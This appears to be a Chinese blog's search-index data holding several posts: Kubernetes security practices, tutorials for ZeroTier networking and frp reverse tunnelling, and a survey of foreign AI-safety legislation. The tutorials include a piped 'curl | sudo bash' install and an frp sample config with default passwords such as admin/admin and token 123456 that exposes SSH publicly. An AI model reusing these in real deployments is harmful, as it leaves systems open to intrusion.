Kubernetes 安全性的第一步。在整个开发生命周期中一致应用策略有助于减少错误配置并降低安全风险。例如，策略可以禁止以 root 权限运行容器或限制对 Kubernetes API 服务器的公共访问。利用开放策略代理 (OPA) 等策略框架和互联网安全中心 (CIS) 等行业基准可以帮助强化 Kubernetes 环境并防止错误配置影响生产。定期重新审视和更新策略，以适应不断变化的安全要求\n在开发过程中实施安全防护措施 Kubernetes安全应该从开发过程的早期开始。如果您的团队采用基础设施即代码（IaC）实践来进行系统的配置和部署，那么可以将这种方法扩展到包括策略即代码。这样可以确保在软件开发生命周期中一致地应用安全策略。开发人员可以利用安全扫描工具，在本地测试、持续集成/持续交付（CI/CD）流水线、容器镜像注册表和Kubernetes环境中识别其代码中的漏洞。利用开源IaC静态代码扫描工具等面向开发人员友好的工具，可以无缝地将安全性整合到开发过程中，并帮助防止不安全的代码进入环境\n了解并修复容器镜像的漏洞 容器镜像漏洞对Kubernetes安全构成了重大挑战。在您的环境中，了解容器镜像的内容和构建方式至关重要。由于担心会减慢开发过程，开发人员经常忽视图像扫描。然而，忽略识别过时的操作系统（OS）镜像、配置错误的设置、嵌入式凭据和秘密信息、未经验证的软件包、不必要的服务以及暴露端口会引入安全风险，并最终导致整个软件交付流程变慢。实施全面的扫描流程来检测和修复容器镜像中的漏洞。同时注意注册表和主机基础设施的安全性\n全面的风险管理 要有效地管理Kubernetes安全，必须从整体上看待您的基础架构。并非所有策略都适用于所有情况，那么您如何应用排除规则呢？并非每个漏洞都是关键的，那么您如何确定修复优先级并自动化处理呢？这些问题可以引导您变得更加主动而不是被动。最终，在Kubernetes和云原生环境中，可见性对于管理安全至关重要。您必须意识到当配置偏离了安全基线时，并且需要识别失败的策略和错误配置。只有这样才能完整地了解攻击面的情况\n","relPermalink":"/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91%E5%A2%9E%E5%BC%BA%E4%BA%91%E5%AE%89%E5%85%A8kubernetes-%E5%AE%89%E5%85%A8%E7%9A%84%E5%9B%9B%E4%B8%AA%E5%85%B3%E9%94%AE%E5%AE%9E%E8%B7%B5/","summary":"在当今快速发展的云环境中，确保 Kubernetes 环境的强大安全措施对于组织来说已变得至关重要。虽然云原生基础设施的优势是不可否认的，但安全团队常常难以解决 Kubernetes 管理核心的安全难题。他们知道需要一种方法将…","tags":["技术译文","翻译","Kubernetes","云原生安全","云安全","标准解读"],"title":"增强云安全：Kubernetes 安全的四个关键实践","unix":1689732000,"year":"2023"},{"date":"2023-07-19","dateISO":"2023-07-19","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%97%A0%E9%9C%80%E5%85%AC%E7%BD%91-%E7%94%A8zerotier%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91/","plain":"在前面的文章中我们讲到利用frp进行内网穿透，但是他的局限在于你需要一台公网服务器。并且对公网服务器的带宽有一定的要求。因此这里我们推荐一款异地组网工具搭建属于自己的虚拟网络，经过授权连接成功之后彼此都在同一网段，可以像在局域网一样互相访问。\n异地组网和内网穿透不同在于，内网穿透服务是第三方会分配给你一个域名或者公网 IP，任何人都可以访问\n异地组网是需要再访问端和被访问端都安装可以异地组网的软件，比如 Zerotier。来组成一个大的局域网。\n注册账号 首先我们到官网注册一个账号\nhttps://my.zerotier.com/\n也可使用 Google 或 Github 授权登录\n在登陆后，会提示创建一个网络\n创建一个网络 点击创建网络后，会自动创建。我们只需记录对应的id即可\n下载客户端 和frp一样，需要我们在穿透的设备上面安装客户端。根据自己的电脑设备系统来进行下载并安装\nwww.zerotier.com/download/\n在Linux中安装 curl -s https://install.zerotier.com | sudo bash 或者用github中的源码进行编译\ngit clone https://hub.njuu.cf/zerotier/ZeroTierOne.git make Linux环境 加入zerotier局域网\n执行下面命令，加入网络\nzerotier-cli join \u003cNETWORK ID\u003e \u003cNETWORK ID\u003e就是我们创建网络后获得的网络id\n可能会遇到如下报错：\nzerotier-cli: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory 我们只需要将source.list 添加以下内容：\ndeb http://download.zerotier.com/debian/bullseye bullseye main 之后更新下就好了\nLinux下的其他命令\n# 加入 zerotier-cli join \u003cNETWORK ID\u003e # 离开 zerotier-cli leave \u003cNETWORK ID\u003e # 查看计算机连接的网络列表 zerotier-cli listnetworks # 查看已连接的对等方(如需要连接其它局域网设备，建议先执行此命令查看IP) zerotier-cli listpeers #启动 sudo systemctl start zerotier-one.service #停止 sudo systemctl stop zerotier-one.service #打开开机自启 systemctl enable zerotier-one.service #关闭开机自启 systemctl disable zerotier-one.service Windows下安装\u0026部署 首先下载Windows客户端并安装\n点击客户端 Join New Network\n填入自己的 连接成功后，我们在Windows下用ipconfig命令便可以看到用zerotier组网得到的IP地址。\n测试 网络连接成功后。设备直接就可以互相访问了\n不足 当然每款工具都有各自的优点和缺点。它的优点在于无需公网IP就可以实现两台异地的设备之间组网，而且很方便。不足是由于缺少公网IP，其他用户是无法访问你的资源。除非也加入你的局域网。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%97%A0%E9%9C%80%E5%85%AC%E7%BD%91-%E7%94%A8zerotier%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91/","summary":"在前面的文章中我们讲到利用frp进行内网穿透，但是他的局限在于你需要一台公网服务器。并且对公网服务器的带宽有一定的要求。因此这里我们推荐一款异地组网工具搭建属于自己的虚拟网络，经过授权连接成功之后彼此都在同一网段，可以像在局域…","tags":["技术实践","网络工具"],"title":"无需公网-用zerotier异地组网","unix":1689732000,"year":"2023"},{"date":"2023-07-19","dateISO":"2023-07-19","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E9%85%8D%E7%BD%AE%E6%95%99%E7%A8%8B/","plain":"什么是frp\nfrp全名Fast Reverse Proxy，是用于提供内网穿透服务的工具，主要用于解决一些内网服务没有公网ip但是却需要提供外网访问的问题。使用frp你可以将内网中的TCP、UDP、HTTP、HTTPS等协议类型的服务发布到公网，并且支持Web服务根据域名进行路由转发\n为什么要内网穿透\n针对不同业务需求，总结为以下几点：\nWeb项目对于电脑（服务器）的性能（内存、CPU、硬盘和图形运算等）要求比较高，需要部署在局域网性能较高的电脑上，且需求进行外网访问 搭建内网穿透小工具，服务于有项目部署需求但没有服务器（或公网IP）的人群 远程桌面连接，当然这个需求可以使用很多远程桌面软件代替，但是如果要使用Windows远程桌面连接公司电脑的话就需要内网穿透 准备工作\n在使用frp之前，需要一台有公网IP的服务器（下文称外网主机），一台需要实现内网穿透的机器（就是自己的电脑），SSH工具，以及一个域名（如果只是建立SSH反向代理则不需要域名）\n服务器是用来部署frp服务端，个人电脑用来实现内网穿透，SSH工具是用来连服务器，如果是Windows Server服务器则使用Windows系统自带的远程桌面就可以\n如上图的frp架构图所示：\n（必须）想要使用frp服务，将内网中的服务发布到公网。你需要先拥有一台拥有公网ip的网络设置搭建frp服务端，再在内网需要穿透的设置中搭建frp客户端服务才能进行穿透 （非必需）你需要拥有一个域名解析到公网的ip地址，才能够实现web服务的通过域名进行路由转发的功能 Frp服务的搭建 搭建frp很简单，关键的步骤只有三步：\n获取frp文件 设置frp配置文件 启动frp服务 注意：frp搭建的的这三步是分为客户端和服务端的，但是操作基本是一致的。本教程frp服务的搭建主要介绍frp搭建的主要三步，以及frp服务端和客户端配置文件内容的解释说明，以及如何将frp在linux系统中创建systemd服务，进行服务管理 第一步：获取frp文件 frp支持linux平台和windows平台。参照你的设置的运行平台下载linux版本的文件或者是windows的。 下载地址：https://github.com/fatedier/frp/releases 一般linux平台下载的版本为：frp_版本号_linux_amd64.tar.gz windows平台下载的版本为：frp_版本号_windows_amd64.zip linux版本文件的解压命令为tar zxvf 文件名，windows版本文件直接右键解压即可。 文件解压后，一般都含有frps(frp服务端运行文件)、frpc(frp客户端运行文件)、frps.ini(frp服务端配置文件)、frpc.ini(frp客户端配置文件)，以及frp_full.ini(frp全部配置文件解释说明和参考。)\nfrp配置文件分为服务端和客户端，想要正常只用frp工具，我们需要对服务端和客户端的配置文件分别进行设置\nfrps.ini（服务端）配置文件解释说明： [common] bind_port = 7000 vhost_http_port = 8080 注:【bind_port】是frp客户端连接服务端的端口，【vhost_http_port】是http访问的端口（外网端口）\nfrpc.ini（客户端）配置文件解释说明： [common] server_addr = 127.0.0.1 #服务器IP server_port = 7000 #frp服务端端口地址 [web] type = http local_port = 8080 #本地项目端 custom_domains = test.frp.xxx.com #域名 第三步：启动服务 linux环境下启动服务，需要先把运行文件添加可执行权限 例如我的文件实在root文件夹中，我需要搭建frp服务端，那么待设置好服务端配置文件（frps.ini）后执行以下命令即可：\ncd /root chmod +x frps nohup ./frps -c ./frps.ini \u0026 执行成功后，会显示frp的进程号码。你也可以通过命令来查看frps运行的进程编号：ps -e | grep frps\n在windows环境下则是以管理员身份运行cmd命令提示符。进入相应的目录后，运行命令即可： frps -c frps.ini \u0026\n关于frp管理的优化设置 注：现官方已提供systemd服务配置文件，可直接使用。 debian8.0，或者是centos7.0以上的版本，服务都是基于systemd的方式进行管理的。frp通过设置后也可以实现systemd的方式进行管理，这样我们就可以通过systemctl命令来进行服务的统一管理，同时通过这样的设置也可以将frp服务加入开机自启动\n将frp设置成linux系统的服务，基于systemd方式管理 编写frps.service文件，以centos7为例： nano /usr/lib/systemd/system/frps.service\n内容如下：\n[Unit] Description=Frp Server Service After=network.target [Service] Type=simple User=nobody Restart=on-failure RestartSec=5s ExecStart=/usr/bin/frps -c /etc/frp/frps.ini [Install] WantedBy=multi-user.target 编写frpc.service文件，以centos7为例：\nnano /usr/lib/systemd/system/frps.service\n内容如下：\n[Unit] Description=Frp Client Service After=network.target [Service] Type=simple User=nobody Restart=on-failure RestartSec=5s ExecStart=/usr/bin/frpc -c /etc/frp/frpc.ini ExecReload=/usr/bin/frpc reload -c /etc/frp/frpc.ini [Install] WantedBy=multi-user.target 将frp设置成开机自启动 #frps systemctl enable frps systemctl start frps #frpc systemctl enable frpc systemctl start frpc Frp到此就配置完了\n附：个人参考配置 服务器端：\n[common] bind_addr = 0.0.0.0 //绑定地址 bind_port = 8888 //TCP绑定端口 bind_udp_port = 8888 //UDP绑定端口 kcp_bind_port = 8888 //KCP绑定端口 vhost_http_port = 80 //HTTP代理端口 vhost_https_port = 443 //HTTPS代理端口 dashboard_addr = 0.0.0.0 //仪表盘地址 dashboard_port = 10000 //仪表盘端口 dashboard_user = admin //仪表盘用户名 dashboard_pwd = admin //仪表盘密码 token = 123456 //连接密码 subdomain_host = test.com //子域名使用的主机名 客户端：\n[common] server_addr = 172.16.100.100 //服务器地址 server_port = 8888 //服务器绑定端口 token = 123456 //特权模式密码 tls_enable = true //加密传输 admin_addr = 127.0.0.1 //客户端Web地址 admin_port = 7400 //Web访问端口 admin_user = admin //Web访问账户 admin_pwd = admin //Web访问密码 user = your_name //用户名，设置后代理将显示为 \u003c用户名.代理名\u003e [web] //服务名称（自定义） local_ip = 127.0.0.1 //本机ip type = http //链路类型 local_port = 80 //本机端口 subdomain = web //服务端为test.com,故此处子域名为web.test.com custom_domains = demo.com //自定义访问域名，多个使用,分割 use_compression = true //使用压缩 use_encryption = true //使用加密 [ssh] local_ip = 127.0.0.1 type = tcp local_port = 22 remote_port = 9000 use_compression = true use_encryption = true 注：具体参数请根据需要配置 ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E9%85%8D%E7%BD%AE%E6%95%99%E7%A8%8B/","summary":"frp全名Fast Reverse Proxy，是用于提供内网穿透服务的工具，主要用于解决一些内网服务没有公网ip但是却需要提供外网访问的问题。使用frp你可以将内网中的TCP、UDP、HTTP、HTTPS等协议类型的服务发布…","tags":["技术实践","威胁情报","网络工具","实操指南"],"title":"frp内网穿透配置教程","unix":1689732000,"year":"2023"},{"date":"2018-06-25","dateISO":"2018-06-25","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%9B%BD%E5%A4%96%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E7%9B%B8%E5%85%B3%E6%B3%95%E5%BE%8B%E6%B3%95%E8%A7%84%E6%83%85%E5%86%B5/","plain":" 自2017年以来，美国、欧盟、德国、加拿大、日本、新加坡等国家或地区已陆续发布人工智能发展和治理的法律法规准则，以时间轴为线索梳理这些法案可以发现，各国和地区开展的立法探索呈现出从宏观性准则和战略逐渐细化至诸如自动驾驶治理、数据安全等具体层面的趋势，全球范围内关于人工智能安全的治理逐步深化和具体。\n美国-遵循立法先行的传统 美国为确保自身在人工智能领域的全球领导地位，近几年在行政条令和立法层面进行了诸多尝试，虽然最终仅有部分法案审议成为法律，但这些相关法案的提出与辩论过程对于后续美国制定并实施成熟的人工智能安全治理规制也具有重要的参考借鉴。这体现出美国在人工智能领域依然贯彻了立法先行的思路，科学完备的法律体系建设将有利于为美国布局安全可控的人工智能提供坚实的制度保障。具体法案名称及主要内容如下。\n1. 《2019年国防授权法案》 **时间：**2019年\n**主要内容：**依据此授权法，美国成立了国家人工智能安全委员会（National Security Commission on Artificial Intelligence），研究人工智能和机器学习方面的进展，以及它们在国家安全和军事方面的潜在应用。此外，依据《2019年国防授权法案》，美国国防部创建了联合人工智能中心（JAIC），作为开发和执行总体人工智能战略的责任机构。\n2.《自动程序披露和问责法》 **时间：**2018年6月25日首次提出；2019年7月16日再次提出\n**主要内容：**法案要求联邦贸易委员会制定法规，强制数字平台公开披露其使用“旨在在线复制人类活动的自动化软件程序或过程”的情况。法案将定义“自动软件程序”的任务交给了联邦贸易委员会（Federal Trade Commission，FTC），这为该法案留下了广泛的解释空间，超出了法案本身旨在限制自动程序的目的。\n3.《算法问责法2019（草案）》 **时间：**2019年10月\n**主要内容：**草案旨在防止算法自动化决策造成对消费者的歧视，要求大型互联网平台企业评估并消除其自动决策算法给消费者信息隐私和安全带来的风险，以及因种族、肤色、宗教、政治信仰、性别或其它方面差异带来的算法歧视与偏见。法案赋予FTC执行和监管的权力，要求企业研究并修复存在缺陷的、会导致人们产生不准确、不公平、有偏见或歧视性决策的算法。该法案是美国国会第一次认真尝试监管人工智能，也是美国第一次立法尝试在总体上监管人工智能系统，而不是监管自动驾驶汽车等特定技术领域。\n4.《保持美国在人工智能领域的领导地位》 **时间：**2019年2月11日\n**主要内容：**时任总统特朗普签署的第13859号行政令，指出美国在人工智能领域的持续领导对于维护美国经济和国家安全并以符合美国价值观、政策和优先事项的方式塑造人工智能的全球演变至关重要。旨在刺激美国人工智能的发展和监管，并通过指示联邦机构优先投资人工智能领域的研发，增强美国国家和经济安全，巩固美国的全球地位。法案中列出了五个关键领域：加大人工智能研发投入、开放人工智能资源、设定人工智能治理标准、培养人工智能劳动力，以及国际协作和保护美国人工智能优势。人工智能项目由国家科学技术委员会（NSTC）人工智能特别委员会（Select Committee on Artificial Intelligence）协调。这份行政令的出台是美国政府推动人工智能发展的一个里程碑事件，对于美国人工智能的研发和应用具有重要引领作用。\n5.《2020“国家人工智能计划”法案》 **时间：**2020年3月\n**主要内容：**该法案吸收了包括“美国人工智能计划”在内的多项联邦人工智能政策与措施，后被打包纳入《2021财年国防授权法》并于2021年1月生效。法案要求美国制定并实施“国家人工智能计划”，以解决美国人工智能发展面临的一系列问题。依据此法案，美国白宫科学技术政策办公室（OSTP）宣布成立国家人工智能计划办公室和国家人工智能咨询委员会，并建立或指定一个机构间委员会，以更健全完备的组织机构推动“国家人工智能计划”实施。\n该法案显示了两党对美国政府在AI领域长期努力的大力支持，并将美国政府现有的许多AI政策和举措编入法律并加以扩展。例如，将美国AI计划确立的5项关键任务纳入法律，扩大2018年成立的人工智能专责委员会并使其成为常设机构，承认2020年成立的国家AI研究所的合法地位，规定要对2019年发布的国家AI研发战略规划进行定期更新，将白宫2019年指导的关键AI技术标准活动扩展至包括AI风险评估框架等。\n6.《生成人工智能网络安全法案》 **时间：**2020年5月\n**主要内容：**法案旨在“确保美国制定并实施保护美国价值观和领导力的人工智能战略。识别供应链的风险并制定降低这些风险的计划。”\n该法案要求美国商务部和联邦贸易委员会明确人工智能在美国应用的优势和障碍；调查其他国家的人工智能战略，并与美国进行比较；评估供应链风险以及如何解决这些风险。此外，法案要求这些机构向国会报告结果，并制定国家人工智能战略的建议。\n7.《数据问责和透明度法2020》 **时间：**2020年6月\n**主要内容：**法案将算法自动化决策纳入监管，提出消费者应当有权质疑收集数据的理由并要求人工对算法自动化决策进行审查和解释。\n8.《2020年政府法令》 （众议院第2575号决议）\n**时间：**2020年9月\n**主要内容：**法案旨在通过在总务管理局（GSA）内部建立“优秀人工智能中心”，并要求管理和预算办公室（OMB）向联邦机构发布一份关于人工智能治理方法的备忘录，以促进联邦政府助力开发人工智能创新应用。同时还要求科学技术政策办公室就人工智能的安全应用和最佳实践向各联邦机构发布指导。\n9.《人工智能能力与透明度法案》 **时间：**2021年5月\n**主要内容：**法案致力于落实人工智能国家安全委员会（NSCAI）最终报告给出的建议，通过改进人才招募制度，使各机构能够更快地采用新的AI技术，增强政府使用人工智能的能力和透明度。该法案赋予了国防部（DOD）、能源部（DOE）、情报共同体（IC）和联邦调查局（FBI）新的权力和资源，以确保联邦政府更好、更安全地利用快速发展的AI技术。\n10.《军用人工智能法案》 **时间：**2021年5月\n**主要内容：**法案建立在《人工智能倡议法案》(AI-IA)、《武装部队数字优势法案》等基础上，旨在实施NSCAI提出的与军方技术人员有关的其他建议，改善军队各级人员的人工智能教育与培训计划，使其能更好地使用人工智能。具体来说，该法案改善了针对初级军官和国防部领导的AI和新兴技术主题教育和培训，以便军事部门更好的利用AI。\n11.《美国数据隐私和保护法案（草案）》 **时间：**2022年6月\n**主要内容：**尽管法案还未正式颁布，但该法案的草案是第一个获得两党和两院支持的美国综合性联邦隐私法案（草案）；旨在联邦层面建立消费者隐私数据保护法律框架，为美国消费者提供了隐私权保护和有效的补救措施。\n该草案对“算法”的定义是“来源于机器学习与人工智能技术的、以代替人工或为人提供帮助为目的的、依据数据处理结果做出决策的计算处理程式”。草案规范此类处理技术的应用，它反映出数字时代美国数据隐私保护的价值理念，在制度设计上既体现了强化个人数据权利保护的国际趋势，又有利于数据价值释放的内容，如“选择退出”机制、有限的私人诉讼权、数据处理企业的忠诚义务等。\n12.《人工智能权利法案蓝图》 **时间：**2022年10月\n**主要内容：**美国白宫发布，表达了拜登政府对使用人工智能技术的未来愿景，希望能刺激企业更负责任地打造和部署人工智能，并对基于人工智能的监控进行限制。\n尽管《人工智能权利法案蓝图》只是一个不带有强制性的行动准则，但它的重要性也不可低估。该白皮书提出了开发或部署人工智能的公司需要自愿遵循的准则，以保障人们的信息免受误用或滥用。在没有颁布具体法律之前，对于这些准则的遵守将是选择性的。\n该文件旨在通过“赋予美国各地的个人、公司和政策制定者权力，并满足拜登总统的呼吁，让大型科技公司承担责任”，以“设计、使用和部署自动化系统的五项原则，从而在人工智能时代保护美国公众”。这五项原则为：（1）安全有效的系统；（2）算法歧视保护；（3）数据隐私；（4）通知和解释；（5）人工替代、考虑和回退。该文件的出台将从科技、经济以及军事等方面为美国人工智能发展提供指引。\n欧盟-创新与规范之间艰难平衡 人工智能具有模糊性、复杂性、自主性和无法预测性等特征，可能给社会带来诸多风险和问题。为确保人工智能的发展尊重人权并且安全信任，2021年4月21日，欧盟发布了《人工智能法案》（Artificial Intelligence Act）的第一稿，探索为人工智能治理提供“硬法” 支持，旨在促进创新，并为设定一个全球标准，人工智能技术被广泛应用于从自动驾驶汽车、聊天机器人到目前中美自动化工厂等各个领域。\n《人工智能法案》 **时间：**2021年4月21日\n2023年3月，该法案的草案已经提交欧盟议会一读，如获通过，将成为具有约束力、可在欧盟成员国内直接适用的法律，而且对于国际人工智能安全相关规则的制定也有十分重要的参考价值，因此接下来着重单列介绍这份《人工智能法案》的内容。\n法规性质\n欧盟内部统一法律框架、全球范围内首部系统化规制人工智能的法律。标志着人工智能治理从原则性约束的“软法”向更具实质性监管的“硬法”加速推进。\n治理目标\n保护人权、宣扬欧盟价值观、保护AI商品服务的自由流动。\n规制范围\n在欧盟投放市场、投入服务和使用的AI系统（含欧盟外开发和使用，但输出数据在欧盟使用的情形），但为军事目的研发的情形除外。\n治理机制\n**统筹主管：**新设欧盟人工智能委员会（European Artificial Intelligence Board）。\n**公告监管：**成员国指定主管机构负责执行，定期向委员会报告。\n**专项负责：**提议为非高风险的人工智能系统制定自发性行为准则，建立监管沙盒（regulatory sandbox）以促进创新。\n其他欧盟人工智能安全相关法律法规介绍如下：\n1. 《通用数据保护条例》 **时间：**2016年通过，2018年生效\n**主要内容：**欧盟为解决互联网时代用户数据的收集、使用问题而制定。将取代欧盟于1995年通过的《数据保护指令》（Data Protection Directive），适应云计算、互联网、大数据。该条例旨在限制互联网及大数据企业对个人信息和敏感数据的处理，从而保护数据主体权利。同时，GDPR相比其前身——1995年《数据保护指令》，对欧盟各成员国具有直接适用的效力，无需成员国再自行转化为国内法。\n2.《可信赖人工智能伦理准则》 **时间：**2019年\n**主要内容：**准则包括七项要素：人的能动性和监督、技术稳健性和安全性、隐私和数据管理、透明度、多样性和非歧视性以及公平性、社会及环境福祉、问责制。\n3.《数据治理法案》 **时间：**2022年6月生效\n**主要内容：**法案于2020年11月被首次提出，是《欧洲数据战略》框架下第一份立法草案。总体而言，《数据治理法案》强调规则创新，鼓励数据共享、提高数据利用效率，进而让数据资源的流转利用服务更高的公共政策目标。一是建立公共部门持有数据的再利用机制。二是建立框架以促进数据中介机构的发展。三是对于数据利他行为做出规范化的引导。\n此外，《数据治理法案》第六章规定成立欧洲数据创新委员会，就包括关于数据共享服务提供商、跨行业数据共享、数据再利用等提供咨询意见。\n其他主要国家-结合本国战略各有侧重 除美国、欧盟外，日本、新加坡、加拿大和德国走在了人工智能安全领域立法的前沿，且根据各国科技基础能力与战略发展需求形成了各有侧重的立法方向。如日本一向重视前沿科技的官产学合作并积累了丰富经验，因此在面临人工智能安全带来的法律问题，选择从个人信息和数据保护入手，通过明确数据主体的权责划分，推动政府和企业形成协同研发网络，构建有利于人工智能安全发展的生态系统。德国进行立法活动时则是注重依托工业资源优势，试图打造人工智能融合“工业4.0”的德国特色。因而其人工智能安全相关立法十分关注技术对经济和生活的影响，重点关注自动驾驶、智能医疗这些紧扣改善人类经济和生活的主题。新加坡和加拿大则是重点关注人工智能这一战略性技术为经济、社会赋能的巨大价值，从数据、安全监管入手开展相关立法，以推动人工智能成为本国数字化转型浪潮中的核心驱动力量。其他主要国家人工智能安全相关法律法规主要内容如下：\n1.《个人数据保护法（修正案）》 **国家：**新加坡\n**时间：**2020年11月通过\n**主要内容：**该修正案为新加坡的个人数据保护提供了基本准则，补充特定行业的立法和监管框架，旨在保护数据主体的个人数据并且规范数据处理者的数据处理行为。\n2.《自动驾驶法案》 **国家：**德国\n**时间：**2021年7月\n**主要内容：**法案旨在为无人驾驶技术的落地运营提供法律依据和监管框架。法案最大的一个亮点是为具备L4级自动驾驶系统的汽车在公路指定区域实现常规运营提供合法性基础，并规定了相应的技术要求、行驶条件和数据处理规则。德国由此成为全球首个允许无人驾驶车辆参与日常交通并应用在全国范围的国家。\n该法另一个亮点是创设了针对“自动驾驶功能”的技术监督员制度。据此，智能汽车保有人有义务采取必要措施，维护道路安全和车辆的环境相容性，并承担相应法律责任。这些义务包括定期维护系统以确保自动驾驶功能正常，采取预防措施以遵守交通规则，履行技术监督义务。为履行该义务，车辆保有人必须指定有专业知识的自然人担任技术监督员远程监控车辆，干预自动驾驶系统。\n3.《个人信息保护法（修正案）》 **国家：**日本\n**时间：**2021年8月\n**主要内容：**修正案主要涉及六大方面：①数据主体的权利；②企业责任；③企业自我完善机制；④数据使用策略；⑤处罚；⑥法案的域外适用性和数据的跨境传输。\n此外，该修正案引入“需要特别注意的个人信息”“个人相关信息”“假名化信息”的概念；加强个人数据跨境传输中跨境传输方对数据主体的告知义务。旨在通过扩大数据主体的权利和增加企业的义务来加强对个人信息的保护。\n4.《人工智能和数据法案》 **国家：**加拿大\n**时间：**2022年6月\n**主要内容：**该法案旨在规范人工智能系统中的国际和省际贸易和商业。为此，法案规定：应当采取措施降低高影响人工智能系统存在的伤害和偏差输出风险；提供人工智能的公开报告；授权创新、科学和工业部长制定人工智能系统相关政策，制定“拥有或使用非法获取个人信息”的相关禁令，以保护数据隐私权，实现安全可靠地设计、开发、使用或提供人工智能系统。\n总结-人工智能立法备受关注 在前文的梳理中可以感受到，当前世界主要发达国家和地区均已关注到人工智能安全立法问题的重要性，以人工智能重点问题为出发点，积极起草、出台人工智能安全治理相关的法律法规，国际人工智能安全治理的法治化水平逐步提高。而且，各国开展的这些立法活动通常带有鲜明的本国特色，如一体化趋势下欧盟率先探索构建统一法律框架、德国人工智能安全立法方向与工业4.0战略契合等，其实质是确保人工智能的发展始终服务地区或国家安全的体现。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%9B%BD%E5%A4%96%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E7%9B%B8%E5%85%B3%E6%B3%95%E5%BE%8B%E6%B3%95%E8%A7%84%E6%83%85%E5%86%B5/","summary":"自2017年以来，美国、欧盟、德国、加拿大、日本、新加坡等国家或地区已陆续发布人工智能发展和治理的法律法规准则，以时间轴为线索梳理这些法案可以发现，各国和地区开展的立法探索呈现出从宏观性准则和战略逐渐细化至诸如自动驾驶治理、数…","tags":["技术实践","AI安全","数据安全","治理实践"],"title":"国外人工智能安全相关法律法规情况","unix":1529892000,"year":"2018"}]